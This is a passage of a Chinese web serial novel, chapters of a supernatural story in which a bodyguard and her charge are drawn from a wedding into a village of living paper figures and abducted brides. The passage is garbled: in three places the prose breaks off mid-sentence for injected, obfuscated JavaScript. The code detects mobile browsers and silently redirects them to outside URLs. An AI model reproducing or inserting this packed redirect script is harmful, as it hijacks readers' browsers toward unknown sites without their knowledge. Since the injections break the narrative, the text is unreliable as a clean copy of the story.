被拉住后衣领的顾随之内心os:温温姐真的来找我了!她心里有我! 一旁围观的顾翊诚内心os:温小姐出手敏捷,找她来当保镖是正确的选择! 再看一眼呲着大牙笑的塔莉莎,顾翊诚摇了摇头,一脸恨铁不成钢地瞪了她一眼。 莫名其妙又被凶的塔莉莎满脸问号。 看到温偌水来了,顾随之烧也不发了,腿也不抖了,脸色也不苍白了,说话都中气十足了,他满眼星星地绕着温偌水转,忙不迭地吩咐开席好好招待温偌水。 “对了,姐姐怎么突然来了?”顾随之突然想起这最关键的问题。 他刚问完,顾翊诚便满面红光地拍了拍顾随之的肩:“爷爷把温小姐请来当你的保镖,你以后要乖一点,别乱跑,不能让温小姐为难知不知道?” 顾翊诚说着,突然故作严肃吓唬顾随之:“你要是不听话惹出乱子,我就狠狠扣温小姐的工资!” 温偌水:“……”你管教孙子能不能别带上我? 顾随之选择性地过滤了下爷爷的话,只节选保留了前半句,满脑子都是:温温姐当自己的保镖=二人要朝夕相伴=我和温温姐同居了! 幸福来得太突然,一不小心让顾随之的大脑cpu过载。他只感到脚步飘飘然,像是踩在棉花上。 温偌水看了眼顾随之那不值钱的样子,没忍住捏了捏太阳穴。 接下来的日子估计会很难过——顾随之,季小柔,再加上无比吵闹的塔莉莎和顾翊诚,几人叽叽喳喳,宛如菜市场里的鸡鸭鹅开大会,能把人的耳膜洞穿十八层。 不过,能蹭吃蹭喝,似乎也是个不错的选择。 况且……温偌水看向顾随之,视线在他狗啃般的发尾上逡巡——接近他,似乎就能尽早找回失去的记忆。 想到这,温偌水放下了心中的顾虑,大步迈向了餐厅。 . 几天后。 “温温姐,周五我带你去看新娘子好不好?”顾随之突然问道。 “新娘子?” “我一个大学同学这周五结婚,给我发了请帖。”顾随之笑眯眯道,“听说他请了很厉害的大厨,晚宴会很丰盛。” 温偌水“勉为其难”地点了点头:“你要是自己想去就不必征求我的意见。” 顾随之小声欢呼了一下,掏出一封信来:“信里说要举办一场特别的婚礼,好期待啊!” 周五一到,顾随之便和温偌水穿戴整齐,坐着自家车前往婚礼地点。 刚下车,温偌水的一身黑色西装就吸引了他人的注意。她周身散发着冷淡疏离的气场,墨镜一戴,谁也不爱,就差把“生人勿近”四个大字写在脸上了,仿佛不是来参加婚宴的,而是来砸场子的。 一个身着白色礼服的男人走向前,与顾随之打招呼:“阿随,好久不见!” 顾随之与他握了握手:“阿沛,新婚快乐!” “温温姐,这位就是今天的新郎官,我的大学同学,郑宇沛。” “阿沛,这是我的……” 顾随之话没说完,温偌水就抬手支起墨镜露出半只眼睛:“保镖,温十三。”说完,她松了手,墨镜又落回了鼻梁上,遮住了那双清冷的眼。 郑宇沛愣了一下,打哈哈道:“你小子来参加我的婚宴居然还带保镖?怎么,怕我吃了你不成!” 顾随之急忙摆手:“没有没有,怎么会呢!” “哈哈哈哈开玩笑的,快去坐下吧,一会晚宴就要开始了!” 两人寒暄一阵后顾随之就带着温偌水坐到了大厅左侧第三张桌子最靠里的两个座位上。 刚坐下不久,温偌水便听到似有若无的一道歌声: “新嫁娘,别爹娘~过山岗,泪沾裳~” 温偌水扭头看去,但是身后什么人也没有,只有一堵白墙。 “你听到什么声音了吗?”她问身边的顾随之。 顾随之正拉长着脖子寻找新娘子的身影,听到温偌水突然发问有些茫然:“嗯?没有啊。” 温偌水机警地打量四周,确实没有发现哪里不对劲。 就在这时,一串小孩如银铃般的笑声从她身后飘过,她再度扭头,依旧只看见那堵白墙。 难不成是她出现幻觉了?不应该啊,这两天她在顾家吃得好睡得也好,怎么可能会出现幻觉呢? 难不成是又进入能量场了? 不可能。看着远处正在迎宾寒暄的新郎,温偌水确信她并没有疏忽任何一点。 “好奇怪,怎么没有看见新娘呢。”顾随之嘀咕道,“按道理,新娘应该和新郎一起出来迎宾才对。” 周遭嘈杂,温偌水有些心烦意乱,索性闭上眼打起盹来。 “你猜新娘哪儿去了?” 温偌水猛地睁开眼,看见一个身着花袄扎着两个羊角辫的小姑娘从她眼前溜了过去,只留下“咯咯咯嘻嘻嘻”的笑声。 “站住!”温偌水低喝一声,周围安静了一秒,众人纷纷看向她。 顾随之瞪大眼睛,轻轻拉了拉温偌水的袖口:“温温姐,出什么事了?你怎么在对着一堵墙说话啊……” 温偌水摘下墨镜,冷冷瞪视着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13245897|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堵白墙,一把抓住顾随之的手腕,用力把他拽了起来:“走,这里有古怪。” 顾随之先是一愣,而后也没问什么,只点了点头:“嗯,我先去和阿沛打声招呼。” 两人走到门口,被郑宇沛挡住了去路。只见他神色匆匆,脸色苍白,语气里满是焦急:“你们看到阿雪了吗?” 顾随之摇了摇头:“阿雪是谁?” “阿雪就是我的爱人,今晚的新娘啊!”话音一落,婚宴便乱了套,来宾纷纷左顾右盼,寻找新娘的身影。 “借过。”温偌水侧身绕过新郎,带着顾随之准备离开,但是就在这时,眼前的红色花袄再度出现,她樱桃小嘴一张一合,诡异的歌谣流淌出来: “见不着,满街找,哪也找不到!” 唱完这一句,她又“咯咯咯”地笑了起来,两个羊角辫颤颤巍巍,像是在风中战栗的枝丫。 “快走!”温偌水心中的不安愈演愈烈,她抓着顾随之的手大步向前走去,身后的新郎发了疯般地喊道:“阿雪呢?我的阿雪呢???” “灯笼掉,马儿叫~到了黄昏儿夫家也见不着~” 童谣声越来越近,就在温偌水即将跨出酒店的门槛时,小花袄突然蹦跶出来对着她做了个鬼脸,粉白如砌墙般的脸上两团红胭脂格外醒目。 “你猜新娘哪儿去了?” 突然,人群中爆发出一声惊恐的嚎叫声—— “啊啊啊啊!!那是什么?!” 温偌水扭头看去,只见布置得唯美温馨的中央舞台上垂挂着一具女人的尸体,女人身着一席华美的白色婚纱,长长的蕾丝头纱后隐约露出的那张脸与身后大屏幕上滚动播放的婚纱照中新娘的脸一模一样! 温偌水呼吸一滞,人群爆发出嘈杂的吵嚷声,新郎一边哭嚎着一边向前跑去,但总是会被往外逃跑的人群挤开。 就在这时,温偌水突然觉得那新娘似乎有点奇怪,眯眼凝神一瞧——那好像不是个活人,而是个……惟妙惟肖巧夺天工的纸人? 忽然,世界陡然倒转,人群失重翻腾,像下饺子一样纷纷往脚底的白墙坠去! 刚刚还空无一物的白墙上突然出现了一个个棺材大小的口,一张一闭就把众人吞了进去。 “新嫁娘,别爹娘~过山岗,泪沾裳……灯笼掉,马儿叫……” “你猜新娘哪儿去了?” “咯咯咯咯……哪儿也找不到!” 空无一人的礼堂里飘荡着小女孩清脆而诡异的笑声。 一阵风吹过,纸新娘从绳索上掉了下来,飘飘扬扬地落在了地上,一双圆眼睛瞪向天花板。 “哪儿也找不到!咯咯咯咯……” 39. 花纸村(一) 温偌水是被一股浓烈的香烛味给呛醒的,她一睁眼,和一个胖乎乎的小人儿对上了眼。 她心下一紧,过了半秒适应了室内昏暗的光线后才发觉那个胖娃娃只是个纸扎的小人。 把这玩意放在床上可真晦气。温偌水烦躁地将纸人撇到一边去,从床上翻了下来。 她双脚在地上一踩,又发觉哪里不对劲——她的衣服被人换过了。 看着一身粗麻衣,以及床下的粗布鞋,温偌水重重叹了口气。 既然都不愿意放过她了,就不能选一个锦衣玉食点的场让她呆呆吗?布衣芒履都是什么年代的东西啦! 她一口气才叹了个四分之一,突然屋内杀出个同样穿布衣的女人,看到温偌水还坐在床上,走过来用力拧了下她的胳膊,呵斥道:“都日上三竿了你咋滴还赖床上?主家的活计不做完我看你是甭想吃晚食了!” 说罢,她便一把把温偌水拽了出去,温偌水甚至没能穿上那破旧的粗布鞋。 地砖有些烫,踩上去有种粗粝的感觉,稍有个不留神就会踩到尖锐的石块,磕伤脚底板。 “过两日便是主家娶亲,你快些把这几个纸人糊了,不糊好别想吃饭!”那女人撂下这句便去忙活自己的事了。 结婚……要糊纸人?这是哪门子的习俗? 温偌水看着脚边上簸箕里白花花的纸和钵里白乎乎的浆糊,有些无语凝噎。 她瞥了眼身边人的动作,有模有样地学了起来。 糊了几个后,那管事的女人又杀了回来,火急火燎地让温偌水拿着糊好的纸人去放干。 “放干的话不应该拿去太阳下晒吗?”一脚踏进坐南朝北的阴暗房间,温偌水忍不住问道。 “放到太阳下暴晒纸就要皱了!”管事的女人不耐烦地翻了个白眼,打心里觉得温偌水没见识,“放在没阳光的屋子里阴干才能保持纸面的平整。” “哝,把这些纸人,挂上去。”女人指了指上头,温偌水抬头一看,只见天花板上挂着密密麻麻的纸人,这些纸人都还没有上色,白花花一片,细细的绳子系在纸人头与身相接的细棍上,放眼望去竟觉得这些纸人都在上吊似的。 温偌水有些反胃,而那女人却面色如常地走向屋内最里头的供台,掏出一根香点了,嘴里念念有词一阵后将香插在了满满当当的香灰炉里。 温偌水一边挂纸人一边偷偷打量那供台,只见那供台上供奉的并非是寻常神佛,而是一尊身着红嫁衣的新娘像。 结婚扎纸人,供奉新娘像,这个村子的习俗真的槽多无口。 “你手脚麻利点,挂完出去记得把门锁好!”说着,女人丢给温偌水一把钥匙,自己独自走了出去。 女人一走,阴暗的小屋内妖风阵阵,纸人轻轻晃着,摩擦间发出哗啦啦的声响。供香不知是什么东西做的,有股浓厚的胭脂味,没一会便烧成了灰,室内唯一的光源没了,更显昏暗起来。 温偌水速度挂完最后一个纸人,转身离开,锁门时感觉什么东西从门缝里蹿了出去。糊了一天纸人的温偌水身心俱疲,一点也不想和该死的妖魔鬼怪勾心斗角。而且她快饿死了,再不回去甭想吃到一粒米。 就在这时,一道熟悉的声音乍现—— “新娘哪儿去了?” . “新娘哪儿去了?” “真该死,过两日就要出嫁了,整什么幺蛾子!” “愣着干什么?还不快找?找不到都别想竖着走!” 穿着粗麻衣的男女老少倾巢而出,挨个角落仔细搜寻,甚至连拾荒老人的竹篓都没放过。 一个手里拿着破碗的少年经过,看了眼逐渐远去的人群,走进了一旁的花圈店。 店里白花花一片,只有柜子后头露出的一抹红色晃眼。 “他们走远了。”少年突然出声,将那红色吓得一弹。 那人慌张地别过脸,装作地里长出的蘑菇,并不答话。 见人不说话,少年歪了歪头,坐在一边的长椅上,捏起破碗里的半块硬馒头“嘎嘣嘎嘣”地吃了起来。 那人终是坐不住了,扭过头小心翼翼地瞥了少年一眼。 “你要吃?”少年掰开一小块馒头递了过去。 那人摇了摇头:“不用不用,我不是这个意思……” 红绸布从头上滑落,露出朱唇粉面,形容靓丽甚至连一身华贵的红都失了三分颜色。但奇怪的是,那漂亮的人说出的却是男人的声来。 少年愣了神,半晌才呆呆问道:“你和我一样啊?” “什么一样?”那人没听懂。 少年放下手里的馒头,胡乱比划着:“就是又是男人,又是女人。” 那人皱了皱眉:“你是说……omega?” “什么欧米伽?不是什么欧米伽!” 那人有些惊讶:“你们这居然没有omega?那有alpha和beta吗?” 少年摇头如拨浪鼓:“什么阿发什么贝塔,没听说过!” 那人更惊讶了:“啊?” “就是男人和女人……哎呀!你怎么连这个都不晓得!”少年急得恨不得直接脱裤子给他看。 “要不得要不得!”那人干嘛扽住他的手,“我知道什么是男人什么是女人,我就是男人,不是又男又女的。” 少年痴痴地应了声:“哦。”然后又把裤带子系上了。他看上去有些不开心,一个人闷闷地坐回长椅上,又吃起那掉落在地上沾了灰的硬馒头。 那人察觉到他的不开心,便主动挑起话题:“那个……你叫什么呀?” 少年闷闷道:“我叫阿庆。”他扭头看向那人,“你叫什么?” “我叫顾随之。”顾随之眯起眼睛笑起来。 “你不是本地人吧?”阿庆问。 顾随之摇了摇头。 “那你不是女人干嘛穿女人的婚服?” “我也不知道啊!”顾随之哭笑不得。他只记得自己醒来之后就被人七手八脚地按着套进了这厚重的衣服里,那群姨婶还强硬地在他脸上涂脂抹粉,搞得他现在都感觉皮肤被胶粘住了一样。 阿庆上下打量了顾随之一番,道:“那可能就是他们又搞错了。” “搞错了?”本来顾随之还以为是他们把自己误认为是omega了,但听阿庆一说,感觉这个古怪的世界里似乎又不分什么abo性别,那看来只要表明自己是男儿身,那群人就会放过自己了。 阿庆看出了顾随之的想法,神色凝重道:“他们不会放了你的,婚娘娘不喜欢婚事被搞黄。哪怕是做戏,他们也要把你押着嫁到夫家,到时候夫家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13268337|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人随便想个法子把你折腾死,来年换个新娘子娶回去就好了。上个被搞错的男人就是这么被打死的,后来尸体抛在荒山里,挨野狗吃了。” 顾随之听得鸡皮疙瘩直冒,他强忍着不适问:“婚娘娘是什么?” “婚娘娘就是婚娘娘,家家户户都供奉婚娘娘。” “那这屋怎么没见着婚娘娘?”顾随之扫视一周,没发现类似供台的地方,更别说作为神明供奉着的“婚娘娘”了。 “这是花圈店,不吉利,不能供奉婚娘娘。” “你是这店的主人?”顾随之有些惊讶,眼前的少年看上去那么瘦削,不像能支撑一家店的样子。 “这店不是我的,我只是负责照管这店。”阿庆把最后一块馒头咽下肚,“我既不是男人,又不是女人,本身就不吉利了,来看这不吉利的店再合适不过。” 阿庆似乎是习惯了不吉利的身份,说这自损的话时竟看不出一点难过来。 “你还算幸运,一下子躲进这不吉利的店里,他们平日里不会冲撞进来,你就好生躲着吧。” “你愿意帮我?你不怕冲撞婚娘娘?” “我没办法娶亲,本来就不招婚娘娘喜欢了,况且这店里也没有供奉婚娘娘,她看不见,也就不知道。”阿庆耸了耸肩。 顾随之眨了眨眼,小声说了句“谢谢”。 “但是吧……”阿庆又道,“如果他们找不着你,肯定会再去抢一个新娘子的,要是两天后成亲日见不到新娘子,婚娘娘就要发大怒,他们会吃不了兜着走的。” “抢?去哪抢?” “一般是去抢外地的,但是眼下时间紧迫,他们没法跑到外地抢,就只能抢村里的外来人了。”说着阿庆掰了掰手指,“今天给你打扮上妆的那几个姨婶就都是抢来的。” 顾随之呼吸一滞:“那本地的姑娘呢?” “我们这个村风水有问题,生不出女娃来。” 怪不得只能抢外来的女人做媳妇。 想到这,顾随之突然瞪大了眼,凑近阿庆小声说:“阿庆,你能不能帮我一个忙?” 阿庆:“什么忙?” “有个跟我一起来的姑娘,差不多这么高,一头粉发,我怕她被那些人抢去做新娘,你能不能帮我在村里找一找?”顾随之双手合十,“求求了!” 阿庆看了他一眼,努着嘴说:“可是外头到处都是婚娘娘,我也没法直接跟她讲啊。” “你别挑明了说,直接让她来店里找我就好了。” 阿庆皱着眉说:“好麻烦!店里没有婚娘娘,我送你个人情也就算了,外头到处是婚娘娘,我为什么要帮你冒这个险啊?” 顾随之抿了抿嘴,犹豫了几秒后小声说:“其实吧……我和你是一样的。” “一样的?”阿庆睁大了双眼。 “嗯……”顾随之豁出去了,“我以前,既是男的,也是女的。后来做了手术,现在就是男的了。” “手术!”阿庆惊呼,“我也能做手术吗?” “能啊,我要你找的那个人就是个很厉害的医生,她一刀下去,‘咔嚓’一下,你就好了。” “那我要找到她,我要让她给我做手术!”阿庆笑了起来,露出两个小梨涡。 “不过,村子这么大,要去哪找她呢?” 40. 花纸村(二) “新娘哪儿去了?” 温偌水回头,看到那笑得诡异的小花袄,想也没想对答如流:“还没到出嫁日,新娘当然是在家了。” 小花袄没想到她会这样回答,噎了一下。 “你怎么知道!万一她不在呢?” “那该操心她在哪的人是她爹娘,我这个八竿子打不着的人还是早早洗洗睡吧。”温偌水加快脚步,向放饭的地方走去。 “我们这的新娘子没有爹娘!”小花袄叫道。 温偌水看了她一眼:“你小小年纪,骂人还挺脏。” 小花袄:“……” “不是,我的意思是她们的爹娘不在这!” 温偌水:“嗯嗯啊啊。” 小花袄气得直跺脚:“找新娘!陪我做游戏——找新娘!”她抓着温偌水的衣角,胡搅蛮缠。 眼看就要过饭点了,温偌水一把按住小花袄的头,眼露凶光:“别逼我抽你。” 小花袄一怔,被吓得缩回了手。 温偌水拍了拍她的头,大步流星地走到放饭处。偌大的饭桶里只剩下两拳大小的咸菜饭,温偌水也没嫌弃,用碗盛了站着吃起了晚饭。 管事的女人远远看到,匆匆走过来拿走了那把钥匙,并小心翼翼问道:“门锁好了?” 温偌水忙不迭地吃着饭,抽空敷衍地点了两下头。 “没东西跑出来?” “里头有活物?”温偌水反问。 管事的女人自觉失语,摆了摆手:“吃你的吧,哪来那多废话?” 很好,看来里面确实有活物。 温偌水埋头苦吃。 至于活物是什么——总不会是活蹦乱跳的小花袄吧? 想着小花袄吃瘪的模样,温偌水觉着也没有把她锁在屋里的必要。那这女人担忧畏惧的估计另有其人。 温偌水舔去唇边的饭米粒,跟着大部队回原先的屋里休息。早上温偌水起得晚不了解情况,此刻一进屋,看到五六个光着脚挤在铺上的女人,瞬间脸色不好了。 这群女人做了一天的活计,累得胳膊不是胳膊腿不是腿,沾着枕头就是一个字:睡。她们沾满尘土的衣服还没有换下,澡也没有洗,汗臭味混着脚臭味洋溢在空气里,虽没有男人的气味那样冲鼻,但也好闻不到哪去。 一个膀大腰圆的女人翻了个身,将属于温偌水的床位挤占了去,她浑然不知,抹了把溢出的口水打起鼾来。 当然,就算她不挤占这个位置,温偌水也不会躺下的。 她找了口井,忍着凉意用井水擦了擦身子,随后在院子里晃悠起来,企图寻找一个可供休憩的小地方。 忽见一个大屋子,薄薄的窗纱里透出暖洋洋的烛光,里头传来麻将声和男人的谈笑声。 “听说主家这次抓来个水灵灵的美人儿?” “嗐,你们是没见到啊,那美人的眼睛可真是漂亮,宛如皓月!” “真的假的?” “骗你不成?两日后大婚,早晚能见到的,到时候就知真假了!” “主家在哪抓到的?我也去碰碰运气。” “主家好福气,一出门在家门口抓到的!——胡了,拿钱拿钱!” “外面来的?” “嗯啊,那美人连年份都记不清,怕别是脑子有问题。” “啧啧啧,无妨,女人嘛,漂亮,能干,能下崽,其他都是虚的。” “真别说,那美人虽然是个傻的,但又高又壮,看上去能生一窝!” 在窗外偷听的温偌水右眼皮一跳。 外来的,不知道年份的,漂亮的,又高又壮的。 是顾随之没错。 她有些无奈地摸了把脸。在别处被认作是omega,在这里又被误认成女人,顾随之的人生真是充满着出其不意的冷幽默,和他的冷笑话一样让人无语凝噎、啼笑皆非。 “但是落在主家手里,不见得是好事啊,啧啧啧,美人薄命咯!” “嘿哟,上一个是怎么没的?” “我们哪晓得呢,只知道主家有天突然安排了葬礼——碰!后来就再没见过那新娘啦。” “这么一说,最近几年下葬的新娘子多得很呐,城北那荒坡都快成新娘坟了。” “嗐,谁知道发生了啥,那些新娘大多还没入洞房人就没了……你说,会不会是因为她们冲撞了婚娘娘?” “不好说不好说,婚娘娘的事议不得。” “啧,可惜了,现在村里见着的女人都是老面孔了,好生无趣,什么时候多几个漂亮姑娘给哥几个饱饱眼福?” “希望这次的新娘子能多活一段时间吧,哈哈哈哈……” 男人们笑了一通,不再言论结婚之事,专心致志打起了麻将来,不一会里头响起欢呼声和懊恼声,麻将碰撞之音此起彼伏。 温偌水知道后面没有有用的信息了,便悄摸走开。 这个村子表面看上去还算宁静和睦,但背地里似乎没那么简单。光是抢新娘以及新娘撑不过洞房夜这两件事就足以暗示不对劲了,更别说那新婚扎的纸人以及不可言说的“婚娘娘”了。 婚娘娘……温偌水想起今天傍晚管事女人在北边屋内供奉的那尊新娘像,难不成那就是婚娘娘?她锁住的,也是婚娘娘? 真是奇怪,明明供奉着婚娘娘,但却又惧怕婚娘娘。头次见把信奉的神明锁在阴暗小屋里的。 逛了一圈没什么新的发现,可供自己休憩的地方也毛没见到,温偌水叹了口气只得打道回府。 前脚刚踏进屋子,她便在雷鸣般的鼾声中捕捉到窸窸窣窣的动静,循着声音一路走到侧屋最里头的角落,温偌水隐约看到一个人影坐在梳妆台边。 她一身白,在暗沉的屋内格外醒目。温偌水蹑手蹑脚走上前去,台上的镜子不知道多久没有擦拭过了,上头蒙着厚厚一层灰,根本无法窥见白衣女的样貌。 女人抄起台上的胭脂水粉,细细地在脸上描着,描着正在兴头,肩膀还止不住地抖,像是在笑。 温偌水躲在竖柜后暗暗观察,突然一阵风来,吹落了架在窗沿上的撑木,滚在地上发出一阵闷响。 白衣女蓦然回头,露出只画了一半的新娘妆。那殷红的胭脂在暗处显得十分妖艳奇诡,但最可怖的,这白衣女的脸上竟无一点五官。眉黛所在之处不是眉毛,胭脂所在之处不是眼睛嘴巴,脸部平整无比,没有一丝人类该有的骨骼和皮肉的起伏。 违和感油然而生,让人不禁有些毛骨悚然。 温偌水往里缩了缩,白衣女的身影越来越近,就在她即将走到温偌水所在的位置时,窗外传来一道童谣声: “新嫁娘,别爹娘~过山岗,泪沾裳~若是遇了白人儿,莫把眼儿瞧~” 听到这声,白衣女像是重新启动的机器一样机械地停住,抖动两下后以一种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13296383|134718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人类根本无法做到的诡异姿势从狭窄的窗户里钻了出去。 温偌水赶忙上前,双手撑着窗棂向外看去,只见那白衣女的脖子上蓦然多了条绳索,绳索的另一端在小花袄手里。 小花袄眼尖看到温偌水,“咯咯咯”地笑了起来,两个羊角辫直颤:“咯咯咯,你出了大纰漏!” 温偌水现在明白她锁门时突然蹿出来的东西是什么了——是被她亲手吊在房梁上的纸人! “你得感谢我,不然由得未开智的纸人大开杀戒,你就完犊子啦!” “纸人还能开智?” 小花袄的笑容僵住了,她不悦地扁了扁嘴,暗骂温偌水从不按常理出牌。 “要你管!横竖你欠我个人情!”小花袄细声细气地叫着,“不跟你废话了,再不把它送回去,婚娘娘就要生气啦!” 说罢,小花袄冲温偌水做了个鬼脸,匆匆牵着纸人跑远了。 看来,那管事的女人锁住的不仅仅是婚娘娘,还有这怪异的纸人。 温偌水搓着下巴沉思,刚转身就看到一面堵在自己面前的高墙。温偌水顿住,半秒后那高墙出了声:“大半夜不睡觉在这瞧什么呢?” 原来这不是高墙,而是先前睡得雷打不动的胖女人。 “晚上不睡,早上不起,哪里来的坏习惯……”胖女人骂骂咧咧地回到了铺上。 温偌水看着那无人的窗外,少顷,回到里屋找了个无人的角落坐下,闭目养神。 . “我找了好些个地方,愣是找不着!”阿庆一屁股坐在地上,两手扇风。 顾随之还穿着那滑稽的新娘服,蹲坐在一边问:“这么大一个活人怎么会找不到呢?”他眉宇间满是焦急,“粉色头发,多好辨认的特征啊。” 阿庆叹了口气:“你是不知道,最近村长家的儿子要结婚,村里的女人都去帮着做活计,所谓活计就是扎纸人。但是这纸人必须只能是死物,不能是活物。” 顾随之听得云里雾里:“纸人必然是死物啊,怎么可能是活物?” “这你就不懂了。”阿庆摆了摆手,“我们村名为花纸村,村里的纸都是有灵气的,要是一不小心沾上了活人的东西,这扎的纸人就会活过来,纸人没有理智,做出来的事情也出乎人的意料。” “那扎纸人和你找人有什么联系?” “联系可大了!”阿庆大叫一声,“因为不能沾上活人的玩意儿,所以那些女人做工时头发都得包着,头发一包,我哪里辨的来哪个是粉头发哪个是黑头发?” 顾随之犯了难,愁眉苦脸半天后灵机一动:“我们温温姐特别能打,你只要挨个挨一下子……” 阿庆瞪了他一眼:“我看是你想挨一下子!” 顾随之又道:“她总是冷酷着一张脸……” “干活累了一天的女人们谁不是臭着一张脸?” 顾随之:“她可能吃了……” “俺们村的女人饿狠了能吞下一头牛!” 顾随之:“……” 阿庆不耐烦地扭过头:“总之就是难找,况且我本身不吉利,蹿多了招人烦,今天下午我就挨了那些女的好几扫帚呢。” 顾随之哭丧着脸:“那咋办嘛……” “你就指望她别被抢走,只要能捱到大婚日,横竖是能见到她的。” 就在两人说话间,门突然被敲响,阿庆一个激灵:“谁?” 41. 花纸村(三) “庆哥儿,是我。” 听到熟悉的声音,阿庆嘟囔了一声,赶忙把顾随之硬生生塞进了狭小的柜子里。 “嘶……吃什么长这么大块头……”阿庆死命压着柜门,最后实在压不动了,他小声道,“你从里头带着门把,别叫人发现咯。” 说罢,阿庆赶忙去开了门,一个面露愁容的男人走了进来,手里拎着个大包裹。 “家妻猝然长逝,特来订制花圈。” 阿庆闻言,拢起袖子做了个揖,低声道:“节哀。” “新娘尸体上长出的花带来了没?” “带来了。”男人递出手里的包裹,阿庆打开一看,里头装着一朵娇嫩欲滴的——纸花? 透过门缝偷看的顾随之猛地倒吸一口凉气,虽然那花儿颜色艳美,造型精湛,乍一眼和真花没什么区别,但顾随之眼力好,多看几眼后便确信这花是纸扎的,并非真花。 新娘的尸体上怎么会长出纸花来?他百思不得其解。 而阿庆和那男人似乎并没有觉得人身上长出纸花有哪里不妥,阿庆收下了纸花,对那男人说:“花圈两日内做好。” “有劳了。”男人点了点头,似乎怕沾到什么晦气,头也不回地离开了店。 见男人走远,顾随之才敢从柜门里出来,他一出来便问:“为何新娘的尸体上会长出纸花?” 阿庆耸了耸肩:“哪有什么为什么,就是这样的呗。” “你不觉得这样奇怪吗?”顾随之又道。 阿庆睨了他一眼:“在我看来你才奇怪咧!” 顾随之悻悻闭嘴,生怕自己再多说什么惹了阿庆不高兴,转头就把他扔出店门给那倒霉主家当新娘。 “你在店里乖乖呆着,我去把花送给婚娘娘。”阿庆嘱托完便关上店门走远了。 “哦。”顾随之应了一声,过了许久,他才觉得哪里不对劲。 阿庆刚刚说要去找谁?婚娘娘? 顾随之瞬间警觉起来。 他本身逃的就是婚娘娘,这阿庆怎么还转头要去找婚娘娘了? 难不成,他想把自己给卖了? 越想越不对劲,顾随之焦虑地啃起手指来。 一来,阿庆是本地人,自己是外来人,他根本没道理因一面之词就无条件帮助自己这个外人;二来,虽然阿庆说过店内不供奉婚娘娘,因此婚娘娘看不见听不着,但是他从未说过自己不信婚娘娘呀! 全村都供奉婚娘娘,全村人都知道婚娘娘不喜欢婚事被搞黄! 鸡皮疙瘩爬了满身,虽然阿庆也不见得就是坏人,但把身家性命押在陌生人身上也太过不妥。一想到自己还泄露了温偌水的样貌特征,顾随之恨不得给自己来两巴掌。 他不愿再在这里多呆,也不管吉利不吉利,随手扯了件店内的寿衣换了,但脸上的胭脂水粉不知如何去除,他瞥了眼窗外,一咬牙,翻了出去。 店外是户人家的马厩,顾随之跌落在地扬起尘埃,也顾不上什么颜面,抓起一把温热的马粪就朝自己的脸上糊去。马粪一股怪味,顾随之连连干呕,可到底是盖住了脸上夸张的胭脂,也掩去了他漂亮的五官。 这下应该不至于再被认错成女人了。顾随之忍住反胃的欲望,跌跌撞撞地从马厩里爬出去,漫无目的地四下寻找起温偌水的身影来。 . “吱呀——” 阿庆一推开门,就见得散落一地的红嫁衣,又瞥了眼大开的窗,不由得“啧”了一声。 他随手拿了张纸叠了只纸鹤,然后咬开指尖,将血抹在了纸鹤的翅膀上,不一会,纸鹤就跟活过来似的,扑腾起翅膀飞了起来。 “告诉婚娘娘,他人跑了。” 阿庆走至窗边,将纸鹤放了出去。 . “把这些晾到屋里去,手脚麻利些,要是敢耽搁了明日的大婚,仔细你的皮!”管事的女人将一箩筐的纸人推给温偌水,温偌水无言接过,快步向那供奉着婚娘娘的屋子走去。 掏出钥匙打开门,温偌水便发现了哪里不对劲,昨天还白花花一片的纸人此刻竟然都被着上油彩,描眉画眼,栩栩如生,要不是纸人扁平,一眼望去还真以为屋梁上吊着一排排妙龄少女! 一股恶寒从脚尖升腾,温偌水将箩筐里白色的纸人挂了上去,随后仔细观察起那尊新娘像来。 新娘像并无哪里奇怪,泥塑的身,粗布的衣,做工粗滥,精细度不及纸人的万分之一。 这样一尊像居然被人当宝贝似的供奉,也算荒诞可笑。 村里人到底在惧怕她什么,温偌水不能理解。 难不成这平平无奇的婚娘娘像会在夜里超级大变身?可她昨天夜里醒着,也没见到什么怪象。 或许,谜底要到大婚日才能揭晓。 不提这个还好,一提温偌水便有些头疼。她今天浑水摸鱼地在主家院落里一通搜查,四下没见到顾随之的影子,眼下明天就是大婚日了,若是顾随之真的被嫁出去那可怎么办? 她这边念叨着顾随之,顾随之那边也同样念叨着她。 兴许是脸上糊了马粪的缘故,顾随之一路畅通无阻。当然,就算有人心头有疑也不敢冒然上来质询,毕竟谁也不想惹一身骚。 顾随之就这样一路慌张寻找温偌水的身影,然后……和寻找顾随之的温偌水完美错开。 温偌水路过花圈店时,店门微启,透过缝隙可以看见散落在地还未来得及收拾起来的婚服。 花圈店里出现婚服,很好,温偌水是越来越搞不懂这个村子的奇葩习俗了。 